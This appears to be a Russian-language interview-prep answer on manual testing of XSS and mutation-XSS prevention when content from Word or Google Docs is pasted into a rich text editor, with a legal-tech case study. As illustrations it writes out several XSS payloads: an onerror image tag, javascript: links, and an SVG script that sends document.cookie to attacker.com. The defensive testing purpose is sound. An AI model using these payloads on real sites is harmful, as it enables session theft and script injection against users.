Manual QA (Обеспечение качества)Инженер по ручному тестированию

Разработайте комплексную методологию ручного тестирования для проверки предотвращения **XSS** и структурной целостности при вставке контента из **Microsoft Word** и **Google Docs** в браузерный редактор Rich Text, с особым акцентом на инъекцию скриптов на основе **SVG** и векторы **mXSS**, которые мутируют во время парсинга браузером?

Проходите собеседования с ИИ помощником Hintsage

Ответ на вопрос

История: Редакторы Rich Text (RTEs) широко используются в системах управления контентом, но они представляют собой критическую поверхность атаки. Когда пользователи копируют контент из Microsoft Word или Google Docs, буфер обмена содержит богатый HTML с проприетарными метаданными, встроенными стилями и потенциально вредоносными данными, скрытыми в тегах SVG или CSS выражениях. Основная проблема заключается в том, что наивная очистка может убрать видимое форматирование, пропуская исполняемые скрипты, или, наоборот, слишком сильно очистить и уничтожить легитимные семантические структуры, такие как сложные таблицы. Систематическая методология ручного тестирования должна проверять как безопасность (отсутствие XSS), так и точность (сохраненная структура).

Решение: Реализуйте протокол атаки на буфер обмена в три фазы:

  1. Подготовка векторов: Соберите библиотеку вставляемых полезных нагружений, включая SVG с встроенным <foreignObject>, содержащим скрипты, CSS behavior: url(#default#VML) для устаревшего IE, закодированные с помощью сущностей HTML протоколы javascript:, и неправильно сформированные HTML5 теги, создаваемые для эксплуатации quirks парсера браузера (например, <noscript><img src=x onerror=alert(1)></noscript>).

  2. Симуляция вставки кросс-движков: Выполните реальные операции копирования-вставки (не набор текста) из Word (с отслеживаемыми изменениями, комментариями и встроенными Excel объектами), Google Docs (с предложениями по изменению и встроенными рисунками), и сырого HTML, скопированного из Browser DevTools. Тестируйте в Chrome, Safari, Firefox и Edge отдельно, так как каждый из них обрабатывает типы MIME буфера обмена (text/html против application/rtf) по-разному.

  3. Проверка состояния: После вставки проверьте DOM через DevTools, чтобы подтвердить отсутствие обработчиков событий on*, URL-адресов javascript: и тегов <script>, одновременно подтвердив, что семантические элементы (<thead>, <colgroup>, вложенные списки) остались целыми. Затем сохраните контент, перезагрузите страницу и снова проверьте сериализованный HTML на предмет обнаружения mutation XSS, когда парсер браузера восстанавливает скрипты во время повторного рендеринга.

Ситуация из жизни

Проблема: Стартап в области юридических технологий разработал приложение для проверки контрактов, используя TinyMCE, где юристы вставляли положения из Microsoft Word. Аудит безопасности показал, что контракты, содержащие логотипы поставщиков (в формате SVG), выполняли произвольный JavaScript, когда их просматривали в панели просмотра. Файлы SVG содержали <script>fetch('https://attacker.com?cookie='+document.cookie)</script> внутри тегов <foreignObject>. Редактор отображал их как безвредные изображения, но сырой HTML, хранящийся в базе данных PostgreSQL, выполнялся в режиме только для чтения, который использовал dangerouslySetInnerHTML в React без вторичной очистки.

Рассмотренные решения:

Решение A: Удалить весь HTML и конвертировать в обычный текст. Плюсы: Абсолютная гарантия безопасности; отсутствие XSS возможно. Минусы: Юристы теряли критическое форматирование, например, отступы для подпунктов контракта, цветное выделение для оценки рисков и структуру таблиц для графиков сборов. Это сделало приложение непригодным для юридических рабочих процессов, вызвав немедленное отказ пользователей.

Решение B: Полагаться исключительно на клиентскую сторону DOMPurify с разрешительной конфигурацией. Плюсы: Сохраняет пользовательский опыт и форматирование; легко реализуемо. Минусы: Очистка на стороне клиента может быть обойдена при прямом вызове REST API с вредоносными полезными нагрузками, обходя редактор полностью. Кроме того, умолчания DOMPurify допускают теги SVG и data-атрибуты, которые выполняются в конкретных версиях Android WebView.

Решение C: Реализовать защиту в глубину с агрессивной очисткой на стороне клиента для немедленной обратной связи, в сочетании с серверной очисткой с использованием OWASP Java HTML Sanitizer со строгой политикой, допускающей только структурные теги. Плюсы: Ловит попытки обхода на уровне API; позволяет необходимое юридическое форматирование, нейтрализуя скрипты. Минусы: Требует поддержания двух конфигураций политики (фронтенд и бэкенд); риск ухудшения производительности при обработке контрактов на 100+ страниц; потенциально появление "диалогов согласия", если политики не совпадают.

Выбранное решение: Мы выбрали Решение C и добавили контроль качества вручную, специализированный для операций вставки. Команда QA создала набор "Злонамеренных векторов буфера обмена", содержащий более 75 векторов обхода CSP, включая анимации SVG и контейнеры MathML. Они обнаружили, что ALLOWED_URI_REGEXP DOMPurify допускал URL-адреса javascript:, закодированные с помощью сущностей HTML. Они настроили очиститель так, чтобы преобразовать все SVG в статические теги <img> с кодировкой Base64, удаляя все интерактивные элементы.

Результат: Уязвимость была устранена до релиза в продакшн. Методология поймала два дополнительных вектора mXSS, касающихся HTML комментариев, которые мутировали в исполняемые скрипты в режиме чтения Safari. Юридическая команда сохранила полный набор возможностей форматирования, а последующее пентестирование не обнаружило векторов внедрения в воронке вставки.

Что часто упускают кандидаты

Как вы обнаруживаете mutation XSS (mXSS), когда парсер браузера изменяет очищенную строку после вставки, восстанавливая исполняемые скрипты?

Многие кандидаты проверяют HTML сразу после вставки с помощью "представления исходного кода" редактора или DevTools. Однако mXSS эксплуатирует момент, когда очищенная строка назначается innerHTML, браузер её парсит, и полученный DOM отличается от оригинальной строки из-за нормализации парсера (например, <noscript><img title="--><script>... мутации). Правильный подход заключается в выполнении теста кругового маршрута: сериализовать DOM обратно в строку, используя element.innerHTML после вставки, а затем сравнить её с ожидаемым очищенным результатом. Если после этой сериализации появляются новые теги <script> или обработчики событий, очиститель уязвим. Кроме того, тестируйте конкретно в IE11, если поддерживается, так как его поведение парсера для неправильно сформированных таблиц существенно отличается от Blink или Gecko.

Почему контент может вставляться правильно и безопасно в редакторе, но не проходить проверку безопасности, когда тот же контент позже загружается в режим только для чтения React через dangerouslySetInnerHTML?

Кандидаты часто упускают "провал контекстной очистки". Редакторы Rich Text очищают для контекста редактирования, но контекст просмотра может использовать разные версии React, заголовки Content Security Policy или дополнительные JavaScript библиотеки, которые повторно парсят контент. Ответ заключается в том, что необходимо проверять сохраненный контент на протяжении всего жизненного цикла: вставка → сохранение в API → получение из API → рендеринг в режиме только для чтения. В частности, проверьте на предмет проблем с "двойной кодировкой", где &lt; становится &amp;lt; во время хранения в базе данных, или различия в нормализации Unicode между обработкой UTF-8 редактора и колляцией базы данных. Тестируйте с полезными нагрузками, содержащими умные кавычки (косые кавычки) и длинные тире, которые автоматически заменяет Word, чтобы убедиться, что конфигурация базы данных UTF-8MB4 не обрезает много байтовые символы, потенциально нарушая границы очистки и позволяя внедрение скриптов.

Как бы вы вручную проверили поведение очистки, если приложение использует редактор на основе Markdown (например, CKEditor 5 с выводом Markdown), а не хранение сырого HTML?

Это проверяет понимание рисков конвертации форматов. Когда редакторы конвертируют HTML в Markdown (например, с помощью Turndown), вредоносные полезные нагрузки могут скрываться в атрибутах HTML, которые не имеют эквивалента в Markdown, потенциально будучи удаленными неполно или преобразованными в ссылки, которые выполняются при нажатии. Правильная методология включает: (1) Вставку вредоносного HTML в редактор, (2) Переключение на представление исходного кода Markdown, чтобы убедиться, что опасные атрибуты исчезли (а не просто визуально скрыты), (3) Обратное преобразование в HTML (если поддерживается), чтобы убедиться, что круговой путь не восстанавливает скрипты, и (4) Проверка, что синтаксис ссылок Markdown [text](javascript:alert(1)) явно блокируется регэкспом проверки ссылок парсера, а не только рендерером. Кроме того, проверьте, что HTML комментарии <!-- --> (которые могут нарушить парсеры Markdown) удаляются, чтобы предотвратить утечку конфиденциальных данных на стороне сервера.